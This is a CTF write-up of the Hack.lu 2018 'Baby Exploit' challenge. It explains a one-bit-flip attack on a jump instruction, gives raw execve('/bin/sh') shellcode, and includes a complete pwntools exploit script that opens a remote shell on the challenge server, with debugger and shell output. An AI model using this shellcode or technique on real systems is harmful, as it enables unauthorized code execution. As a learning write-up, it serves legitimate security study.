Hack.lu CTF 2018 - Baby Exploit Writeup

It’s been quite a while since my last writeup. I wanted to do a writeup of a simple challenge from Hack.lu CTF 2018. Hack.lu CTF this year unfortunately happened during the workweek so I didn’t get to play much of it. I jumped on in the final hours before the game ended. It was late at night so I wanted to work on an easier challenge. The full downloadable .zip files for Baby Reverse and Baby Exploit are available:

Baby Reverse
Baby Exploit

With that out of the way, here’s the writeup for Baby Exploit.


The challenge for Baby Exploit was a continuation of the challenge Baby Reverse where we were given a binary chall. Essentially, chall was a simple crackme that compared user input against the flag for Baby Reverse. All of the logic for the decryption was contained within a single function and turned out to be a simple xor cipher.

Baby Reverse Function

Solving Baby Reverse gave the flag flag{Yay_if_th1s_is_yer_f1rst_gnisrever_flag!}. This flag for Baby Reverse is the password for the zip for Baby Exploit.

Now, Baby Exploit is a little bit more interesting than Baby Reverse. We’re given several files and a connection to a remote service:

1
nc arcade.fluxfingers.net 1807

The remote server is running the following code in babyexploit.py:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
#!/usr/bin/env python3

"""
Toggle the bit at the specified offset.
Syntax: <cmdname> chall byte-offset bit-offset
https://unix.stackexchange.com/questions/196251/change-only-one-bit-in-a-file
"""

from tempfile import NamedTemporaryFile
from os import chmod
from subprocess import CalledProcessError, TimeoutExpired, check_call
from shutil import copyfile



yourFile = NamedTemporaryFile(delete=True)
copyfile("/home/chall/chall",yourFile.name)
chmod(yourFile.name,0o777)

print("Welcome to the super Flipper.")
print("====================================================")
try:
bytepos = int(input("Please enter the byte-offset you want to flip (0x80-0x139): "),16)
bitpos = int(input("Please enter the bitposition you want to flip at byte-offset(7-0): "),16)
except ValueError:
print("numbers only please...;)")
exit(-1)

if(bytepos < 0x80 or bytepos > 0x139 or bitpos < 0 or bitpos > 7 ):
print("behave kid, behave...ò.ó")
exit(-1)

patch = open(yourFile.name,"r+b")

patch.seek(bytepos, 0)
c = patch.read(1)
toggled = bytes( [ ord(c)^(1<<bitpos) ] )

patch.seek(-1, 1)
patch.write(toggled)
patch.close()

yourFile.file.close()
try:
print("\n============ Running Challenge now! ================")
check_call([yourFile.name],timeout=10)
except CalledProcessError:
print("\n============ you bricked it:> ============")
except TimeoutExpired:
print("\n============= got the flag?:> =============")

We’re also given a Makefile and asm.template to help us out in building our shellcode. I ended up not needing to use this as you’ll see later on.

Makefile

1
2
3
4
5
6
7
8
9
.PHONY: all
all:
rm -f shellcode asm.elf asm.o
nasm -f elf64 asm.template
ld -o asm.elf asm.o -m elf_x86_64
for i in $$(objdump -d ./asm.elf |grep "^ " |cut -f2); do echo -n '\x'$$i >> shellcode; done;
cat shellcode
clean:
rm -f shellcode asm.elf asm.o

asm.template

1
2
3
4
5
6
7
8
9
BITS 64

section .text
global _start
_start:
;write execve("/bin/sh",0,0);
xor rax,rax
mov al, 60
syscall

The important script is babyexploit.py. So basically, the server lets us flip one single bit in the chall binary and then runs it. Generally, we want to flip a bit in a jump command so that it jumps to somewhere in the region of memory where we have write access (since the binary prompts for input). The question is: which bit to flip? Let’s take a look again at our disassembly for all the jumps we have available:

Linear Disassembly of Chall

From the above linear disassembly, these are the candidate jumps that we can bitflip:

1
2
3
4
5
0x4000A6 75 F0          jnz     short loc_400098
...
0x4000BB 75 49 jnz short near ptr loc_400105+1
...
0x4000D0 EB 34 jmp short near ptr loc_400105+1

Before choosing which jump that we should consider for a bit flip, we should probably figure out what region of memory we have control over. It’s easy enough to use gdb to figure out what region and how much data we have control over writing:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
$ gdb chall
pwndbg> b *0x400096
Breakpoint 1 at 0x400096
pwndbg> r
Starting program: /home/vagrant/share/hacklu2018/babyexploit/public/chall
Welcome to this Chall!
Enter the Key to win:
Breakpoint 1, 0x0000000000400096 in ?? ()
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
───────────────────────────────────────────────────[ REGISTERS ]───────────────────────────────────────────────────
RAX 0x0
RBX 0x0
RCX 0x400092 ◂— sub al, 0x2e /* 0xf48050fcfff2e2c */
RDX 0x2e
RDI 0x0
RSI 0x4000d7 ◂— push rdi /* 0x20656d6f636c6557 */
R8 0x0
R9 0x0
R10 0x0
R11 0x202
R12 0x0
R13 0x0
R14 0x0
R15 0x0
RBP 0x0
RSP 0x7fffffffe480 ◂— 0x1
RIP 0x400096 ◂— syscall /* 0x48017eb60f48050f */
────────────────────────────────────────────────────[ DISASM ]─────────────────────────────────────────────────────
► 0x400096 syscall <SYS_read>
fd: 0x0
buf: 0x4000d7 ◂— push rdi /* 0x20656d6f636c6557 */
nbytes: 0x2e
0x400098 movzx rdi, byte ptr [rsi + 1]
0x40009d xor qword ptr [rsi], rdi
0x4000a0 inc rsi
0x4000a3 dec rdx
0x4000a6 jne 0x400098

0x4000a8 and ecx, 0x2e
0x4000ab add cl, 0x26
0x4000ae lea rdi, [rsi + 7]
0x4000b2 lea rsi, [rdi - 0x35]
0x4000b6 repe cmpsb byte ptr [rsi], byte ptr [rdi]
Breakpoint *0x400096
pwndbg>

From above, we can see that read() is called and 0x2e bytes of data is written to 0x4000d7. So we want to try to jump somewhere within this region to execute code. From our options, it looks like the only bit to overwrite would be at 0x4000BC. We want to overwrite bit 3 so the instruction goes from 75 49 to 75 41. This would jump us to 0x4000FE. This was easily verified by flipping the single bit in a local copy of the binary and running in gdb to see where the jump would go.

Now that we know that we want to flip the bit position 3 at byte offset 0xbc, we need to figure out what shellcode we want to write to those memory positions. Since we can only jump to 0x4000FE and the writable buffer ends at 0x400105 (0x4000D7 + 0x2E = 0x400105), let’s write a short jump at 0x4000FE to jump to the beginning of our writable buffer so we have more memory space to play with.

The jump opcodes we want are EB DD, which will jump to 0x4000D7, where the beginning of our buffer is. Since we wrote our jump instruction at 0x4000FE, we have 0x27 (0x4000FE - 0x4000D7 = 0x27) bytes worth of space for our shellcode to execute a shell. I grabbed this shellcode from shellstorm after trying several other shellcode implementations that didn’t work:

1
\x31\xc0\x48\xbb\xd1\x9d\x96\x91\xd0\x8c\x97\xff\x48\xf7\xdb\x53\x54\x5f\x99\x52\x57\x54\x5e\xb0\x3b\x0f\x05

Now all that’s left is to put it all together! Of course, when we write our shellcode, we need to remember that the binary does some xor’ing of the bytes. Essentially, each byte is xor’ed with the next byte from the original byte sequence. It was easy enough to write a function which does the opposite of this so that after the binary does the xor cipher, the buffer in memory is restored to our desired shellcode.

The following script connects to the remote server, tells it to flip the bit at byte offset 0xbc and bit position 3, and then writes the enciphered shellcode to get our shell:

exploit.py

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
from pwn import *
import sys
import time

def create_exploit_string(s):
result_rev = ''
es_rev = s[::-1]
for i, c in enumerate(es_rev):
if i == 0:
result_rev += c
else:
result_rev += chr(ord(c)^ord(result_rev[i-1]))
r = result_rev[::-1]
return r

# Shellcode from http://shell-storm.org/shellcode/files/shellcode-806.php
SHELLCODE = '\x31\xc0\x48\xbb\xd1\x9d\x96\x91\xd0\x8c\x97\xff\x48\xf7\xdb\x53\x54\x5f\x99\x52\x57\x54\x5e\xb0\x3b\x0f\x05'
PAD_LENGTH = 0x27 - len(SHELLCODE)
PADDING = '\x90'*PAD_LENGTH
JUMP = '\xeb\xdd'
exploit_string = create_exploit_string(SHELLCODE + PADDING + JUMP)

HOST = 'arcade.fluxfingers.net'
PORT = 1807
p = remote(HOST, PORT)
p.sendline('bc')
p.clean()
p.sendline('3')
p.recvuntil('Enter the Key to win: ')
p.sendline(exploit_string)
p.interactive()
p.close()

Running this script spawns us a remote shell where we can get the flag:

1
2
3
4
5
6
7
8
9
$ python exploit.py
[+] Opening connection to arcade.fluxfingers.net on port 1807: Done
[*] Switching to interactive mode
sh: cannot set terminal process group (26641): Inappropriate ioctl for device
sh: no job control in this shell
sh-4.4$ $ ls
babyexploit chall flag
sh-4.4$ $ cat flag
flag{u_R_fl1ppin_good\o/keep_g0ing!}

This was a fun little challenge which didn’t require all too much stress or thinking. It was pretty straightforward and simple but I enjoyed it! Now to go work on HITCON CTF…